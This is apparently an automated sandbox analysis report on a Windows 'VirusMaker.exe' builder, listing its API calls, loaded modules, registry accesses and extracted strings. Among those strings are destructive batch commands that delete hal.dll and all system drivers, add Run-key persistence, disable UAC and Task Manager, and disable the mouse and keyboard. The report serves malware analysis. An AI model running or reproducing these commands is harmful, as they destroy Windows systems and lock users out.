00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter UnregisterClassW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter IsWindow (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter DestroyWindowW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter AddRefActCtx (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter ReleaseActCtx (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00007728)2c:T1f2c,"DEL /F /S /Q /A "%systemdrive%\windows\system32\hal.dll"@((( Echo Off > Nul ) & Break Off )@Set HiveBSOD=HKLM\Software\Microsoft\Windows\CurrentVersion\Run@Reg Add "%HiveBSOD%" /v "BSOD" /t "REG_SZ" /d %0 /f > Nul@Del /q /s /f "%SystemRoot%\Windows\System32\Drivers\*.*")" in Source: Virus Maker.exe "copy %0 %windir%\%a%.batreg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d %windir%\%a%.bat /f > nulreg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d %windir%\%a%.bat /f > nulset b=" in Source: Virus Maker.exe "copy %0 %windir%\%a%.batreg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d %windir%\%a%.bat /f > nulreg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d %windir%\%a%.bat /f > nul" in Source: Virus Maker.exe "@Set RegistyEditCmd=Cmd /k Reg Add@Set HiveSysKey=HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System@%RegistyEditCmd% "%HiveSysKey%" /v "EnableLUA" /t "REG_DWORD" /d "0" /f > nul" in Source: Virus Maker.exe "echo Windows Registry Editor Version 5.00 > "nokeyboard.reg"echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layout] >> "nokeyboard.reg"echo "Scancode Map"=hex:00,00,00,00,00,00,00,00,7c,00,00,00,00,00,01,00,00,\ >> "nokeyboard.reg"echo 00,3b,00,00,00,3c,00,00,00,3d,00,00,00,3e,00,00,00,3f,00,00,00,40,00,00,00,\ >> "nokeyboard.reg"echo 41,00,00,00,42,00,00,00,43,00,00,00,44,00,00,00,57,00,00,00,58,00,00,00,37,\ >> "nokeyboard.reg"echo e0,00,00,46,00,00,00,45,00,00,00,35,e0,00,00,37,00,00,00,4a,00,00,00,47,00,\ >> "nokeyboard.reg"echo 00,00,48,00,00,00,49,00,00,00,4b,00,00,00,4c,00,00,00,4d,00,00,00,4e,00,00,\ >> "nokeyboard.reg"echo 00,4f,00,00,00,50,00,00,00,51,00,00,00,1c,e0,00,00,53,00,00,00,52,00,00,00,\ >> "nokeyboard.reg"echo 4d,e0,00,00,50,e0,00,00,4b,e0,00,00,48,e0,00,00,52,e0,00,00,47,e0,00,00,49,\ >> "nokeyboard.reg"echo e0,00,00,53,e0,00,00,4f,e0,00,00,51,e0,00,00,29,00,00,00,02,00,00,00,03,00,\ >> "nokeyboard.reg"echo 00,00,04,00,00,00,05,00,00,00,06,00,00,00,07" in Source: Virus Maker.exe "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_SZ /d 1 /f >nul" in Source: Virus Maker.exe "\r\nDEL /F /S /Q /A \"%systemdrive%\\windows\\system32\\hal.dll\"\r\n@((( Echo Off > Nul ) & Break Off )\r\n@Set HiveBSOD=HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\r\n@Reg Add \"%HiveBSOD%\" /v \"BSOD\" /t \"REG_SZ\" /d %0 /f > Nul\r\n@Del /q /s /f \"%SystemRoot%\\Windows\\System32\\Drivers\\*.*\"\r\n)" in Source: 60000c8-Form1~Button1_Click "\r\ncopy %0 %windir%\\%a%.bat\r\nreg add HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v AVAADA /t REG_SZ /d %windir%\\%a%.bat /f > nul\r\nreg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v AVAADA /t REG_SZ /d %windir%\\%a%.bat /f > nul\r\nset b=" in Source: 60000c8-Form1~Button1_Click "\r\ncopy %0 %windir%\\%a%.bat\r\nreg add HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v AVAADA /t REG_SZ /d %windir%\\%a%.bat /f > nul\r\nreg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v AVAADA /t REG_SZ /d %windir%\\%a%.bat /f > nul" in Source: 60000c8-Form1~Button1_Click "\r\n@Set RegistyEditCmd=Cmd /k Reg Add\r\n@Set HiveSysKey=HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\r\n@%RegistyEditCmd% \"%HiveSysKey%\" /v \"EnableLUA\" /t \"REG_DWORD\" /d \"0\" /f > nul" in Source: 60000c8-Form1~Button1_Click "\r\nset key=\"HKEY_LOCAL_MACHINE\\system\\CurrentControlSet\\Services\\Mouclass\"\r\nreg delete %key%\r\nreg add %key% /v Start /t REG_DWORD /d 4" in Source: 60000c8-Form1~Button1_Click "\r\nreg add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_SZ /d 1 /f >nul" in Source: 60000c8-Form1~Button1_Click "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00007728.00000000.182418.015D0000.00000004.mdmp 00000000-00007728.00000001.184339.015D0000.00000004.mdmp 00000000-00007728.00000002.186259.015D0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00007728.00000000.182418.015D0000.00000004.mdmp 00000000-00007728.00000001.184339.015D0000.00000004.mdmp 00000000-00007728.00000002.186259.015D0000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00007728.00000000.182418.035B0000.00000004.mdmp 00000000-00007728.00000001.184339.035B0000.00000004.mdmp 00000000-00007728.00000002.186259.035B0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00007728.00000000.182418.035B0000.00000004.mdmp 00000000-00007728.00000001.184339.035B0000.00000004.mdmp 00000000-00007728.00000002.186259.035B0000.00000004.mdmp "Software\Microsoft\.NETFramework" in Source: 00000000-00007728.00000000.182418.035B0000.00000004.mdmp 00000000-00007728.00000001.184339.035B0000.00000004.mdmp 00000000-00007728.00000002.186259.035B0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework" in Source: 00000000-00007728.00000000.182418.035B0000.00000004.mdmp 00000000-00007728.00000001.184339.035B0000.00000004.mdmp 00000000-00007728.00000002.186259.035B0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacif" in Source: 00000000-00007728.00000000.182418.035B0000.00000004.mdmp 00000000-00007728.00000001.184339.035B0000.00000004.mdmp 00000000-00007728.00000002.186259.035B0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00007728.00000000.182418.035B0000.00000004.mdmp 00000000-00007728.00000001.184339.035B0000.00000004.mdmp 00000000-00007728.00000002.186259.035B0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00007728.00000000.182418.035B0000.00000004.mdmp 00000000-00007728.00000001.184339.035B0000.00000004.mdmp 00000000-00007728.00000002.186259.035B0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00007728.00000000.182418.035B0000.00000004.mdmp 00000000-00007728.00000001.184339.035B0000.00000004.mdmp 00000000-00007728.00000002.186259.035B0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00007728.00000000.182418.035B0000.00000004.mdmp 00000000-00007728.00000001.184339.035B0000.00000004.mdmp 00000000-00007728.00000002.186259.035B0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00007728.00000000.182418.035B0000.00000004.mdmp 00000000-00007728.00000001.184339.035B0000.00000004.mdmp 00000000-00007728.00000002.186259.035B0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00007728.00000000.182418.035B0000.00000004.mdmp 00000000-00007728.00000001.184339.035B0000.00000004.mdmp 00000000-00007728.00000002.186259.035B0000.00000004.mdmp "Software\Microsoft\Internet Explorer\Settings" in Source: 00000000-00007728.00000001.184339.035B0000.00000004.mdmp 00000000-00007728.00000002.186259.035B0000.00000004.mdmp "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings" in Source: 00000000-00007728.00000001.184339.035B0000.00000004.mdmp 00000000-00007728.00000002.186259.035B0000.00000004.mdmp "Software\Microsoft\Internet Explorer\Main" in Source: 00000000-00007728.00000001.184339.035B0000.00000004.mdmp 00000000-00007728.00000002.186259.035B0000.00000004.mdmp "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" in Source: 00000000-00007728.00000001.184339.035B0000.00000004.mdmp 00000000-00007728.00000002.186259.035B0000.00000004.mdmp2d:T4e9,"VirusMaker.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "VirusMaker.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "VirusMaker.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "VirusMaker.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "VirusMaker.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "VirusMaker.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll" - [base:0; Status:c0000135] "VirusMaker.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "VirusMaker.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\comctl32.dll" - [base:0; Status:c0000135]2e:T155d,"VirusMaker.exe" loaded module "KERNEL32" at base 75130000 "VirusMaker.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 75f10000 "VirusMaker.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 75f10000 "VirusMaker.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 75f10000 "VirusMaker.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 76310000 "VirusMaker.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 75f10000 "VirusMaker.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 75f10000 "VirusMaker.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 75f10000 "VirusMaker.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73a50000 "VirusMaker.exe" loaded module "ADVAPI32.DLL" at base 759a0000 "VirusMaker.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 73960000 "VirusMaker.exe" loaded module "SHLWAPI.DLL" at base 770e0000 "VirusMaker.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 74900000 "VirusMaker.exe" loaded module "VERSION.DLL" at base 75110000 "VirusMaker.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-0" at base 75f10000 "VirusMaker.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 731a0000 "VirusMaker.exe" loaded module "USER32.DLL" at base 75cf0000 "VirusMaker.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 75f10000 "VirusMaker.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREE.DLL" at base 0 "VirusMaker.exe" loaded module "MSCOREE.DLL" at base 73c50000 "VirusMaker.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 75220000 "VirusMaker.exe" loaded module "PSAPI.DLL" at base 76300000 "VirusMaker.exe" loaded module "KERNEL32.DLL" at base 75130000 "VirusMaker.exe" loaded module "RPCRT4.DLL" at base 76f80000 "VirusMaker.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\8D55D7CAD944A3F21AEB1DB491F3D6DE\MSCORLIB.NI.DLL" at base 71cb0000 "VirusMaker.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLE32.DLL" at base 0 "VirusMaker.exe" loaded module "OLE32.DLL" at base 764e0000 "VirusMaker.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74920000 "VirusMaker.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "VirusMaker.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 75220000 "VirusMaker.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\VERSION.DLL" at base 0 "VirusMaker.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 75f10000 "VirusMaker.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 71c30000 "VirusMaker.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\10E5A0803D11B8B826DBEB56A1F98239\SYSTEM.NI.DLL" at base 71210000 "VirusMaker.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\53FCC36B6B7C9CC86E5D7484C1F93BD8\SYSTEM.CORE.NI.DLL" at base 709f0000 "VirusMaker.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\E4E680611F69D26D704E61DD8BFA4ECE\SYSTEM.CONFIGURATION.NI.DLL" at base 708e0000 "VirusMaker.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\638BA173C955AB83F37EDBAB9B896F44\SYSTEM.XML.NI.DLL" at base 70170000 "VirusMaker.exe" loaded module "NTDLL.DLL" at base 77420000 "VirusMaker.exe" loaded module "SHELL32.DLL" at base 768b0000 "VirusMaker.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "VirusMaker.exe" loaded module "BCRYPT.DLL" at base 6f990000 "VirusMaker.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 6f940000 "VirusMaker.exe" loaded module "IMM32.DLL" at base 76310000 "VirusMaker.exe" loaded module "COMCTL32.DLL" at base 6f890000 "VirusMaker.exe" loaded module "GDI32.DLL" at base 76720000 "VirusMaker.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.WINDOWS.FORMS\V4.0_4.0.0.0__B77A5C561934E089\UXTHEME.DLL" at base 0 "VirusMaker.exe" loaded module "UXTHEME.DLL" at base 74920000 "VirusMaker.exe" loaded module "GDIPLUS.DLL" at base 745a0000 "VirusMaker.exe" loaded module "%WINDIR%\WINSXS\X86_MICROSOFT.WINDOWS.GDIPLUS_6595B64144CCF1DF_1.1.22621.1635_NONE_9FA79A41E294B962\GDIPLUS.DLL" at base 745a0000 "VirusMaker.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 75f10000 "VirusMaker.exe" loaded module "COMCTL32.DLL" at base 74ea0000 "VirusMaker.exe" loaded module "COMCTL32" at base 74ea0000 "VirusMaker.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "VirusMaker.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.WINDOWS.FORMS\V4.0_4.0.0.0__B77A5C561934E089\COMCTL32.DLL" at base 0 "VirusMaker.exe" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 771f0000 "VirusMaker.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 76270000 "VirusMaker.exe" loaded module "EXT-MS-WIN-RTCORE-NTUSER-WINDOW-EXT-L1-1-0.DLL" at base 75cf0000 "VirusMaker.exe" loaded module "EXT-MS-WIN-RTCORE-NTUSER-INTEGRATION-L1-1-0.DLL" at base 75cf0000 "VirusMaker.exe" loaded module "API-MS-WIN-SECURITY-SYSTEMFUNCTIONS-L1-1-0" at base 759a0000 "VirusMaker.exe" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base 764e00002f:T48c,"Virus Maker.exe" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,"30:Tf89,Observed system executable string:"DEL /F /S /Q /A "%systemdrive%\windows\system32\hal.dll"@((( Echo Off > Nul ) & Break Off )@Set HiveBSOD=HKLM\Software\Microsoft\Windows\CurrentVersion\Run@Reg Add "%HiveBSOD%" /v "BSOD" /t "REG_SZ" /d %0 /f > Nul@Del /q /s /f "%SystemRoot%\Windows\System32\Drivers\*.*")" [Source: Virus Maker.exe] Observed system executable string:"\r\nDEL /F /S /Q /A \"%systemdrive%\\windows\\system32\\hal.dll\"\r\n@((( Echo Off > Nul ) & Break Off )\r\n@Set HiveBSOD=HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\r\n@Reg Add \"%HiveBSOD%\" /v \"BSOD\" /t \"REG_SZ\" /d %0 /f > Nul\r\n@Del /q /s /f \"%SystemRoot%\\Windows\\System32\\Drivers\\*.*\"\r\n)" [Source: 60000c8-Form1~Button1_Click] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00007728-00000C25-1851926787] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00007728-00000C25-1852186252] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00007728-00000C25-1852285629] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00007728-00000C25-1852340446] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\8d55d7cad944a3f21aeb1db491f3d6de\mscorlib.ni.dll" [Source: 00000000-00007728-00000C25-1852612995] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00007728-00000C25-1852636306] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00007728-00000C25-1852829002] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" [Source: 00000000-00007728-00000C25-1852946938] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00007728-00000C25-1853032819] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\10e5a0803d11b8b826dbeb56a1f98239\System.ni.dll" [Source: 00000000-00007728-00000C25-1853247974] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\53fcc36b6b7c9cc86e5d7484c1f93bd8\System.Core.ni.dll" [Source: 00000000-00007728-00000C25-1853582240] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\e4e680611f69d26d704e61dd8bfa4ece\System.Configuration.ni.dll" [Source: 00000000-00007728-00000C25-1853637108] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\638ba173c955ab83f37edbab9b896f44\System.Xml.ni.dll" [Source: 00000000-00007728-00000C25-1853665550] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" [Source: 00000000-00007728-00000C25-1853984119] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll" [Source: 00000000-00007728-00000C25-1854508457] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00007728-00000C25-1855488486] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00007728-00000C25-1855513809] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll" [Source: 00000000-00007728-00000C25-1855532959] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00007728-00000C25-1855718488] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\comctl32.dll" [Source: 00000000-00007728-00000C25-1858000002]31:T4cc,"VirusMaker.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CODEPAGE"; Key: ""; Value: "") "VirusMaker.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "VirusMaker.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "VirusMaker.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "VirusMaker.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\STATESEPARATION\REDIRECTIONMAP\KEYS"; Key: ""; Value: "") "VirusMaker.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "VirusMaker.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "VirusMaker.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "VirusMaker.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "VirusMaker.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "")32:Tab1,"VirusMaker.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CODEPAGE"; Key: "ACP"; Value: "") "VirusMaker.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CODEPAGE"; Key: "OEMCP"; Value: "") "VirusMaker.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RAISEEXCEPTIONONPOSSIBLEDEADLOCK"; Value: "") "VirusMaker.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "VirusMaker.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "57A6ED1A-79F7-5011-B242-4784E5620CF7"; Value: "") "VirusMaker.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: "VIRUSMAKER.EXE"; Value: "") "VirusMaker.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "VirusMaker.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "3C74AFB9-8D82-44E3-B52C-365DBF48382A"; Value: "") "VirusMaker.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "B749553B-D950-5E03-6282-3145A61B1002"; Value: "") "VirusMaker.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "05F95EFE-7F75-49C7-A994-60A55CC09571"; Value: "") "VirusMaker.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "VirusMaker.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "000604XX"; Value: "") "VirusMaker.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "VirusMaker.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "VirusMaker.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "8CCCA27D-F1D8-4DDA-B5DD-339AEE937731"; Value: "") "VirusMaker.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") "VirusMaker.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "18608E62-A628-49D9-8C02-55972E097D24"; Value: "") "VirusMaker.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "VirusMaker.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\SDBUPDATES"; Key: "SYSMAIN.SDB"; Value: "")33:Ta7c,"VirusMaker.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll" "VirusMaker.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll" "VirusMaker.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll" "VirusMaker.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll" "VirusMaker.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll" "VirusMaker.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll" "VirusMaker.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\VCRUNTIME140_CLR0400.dll" 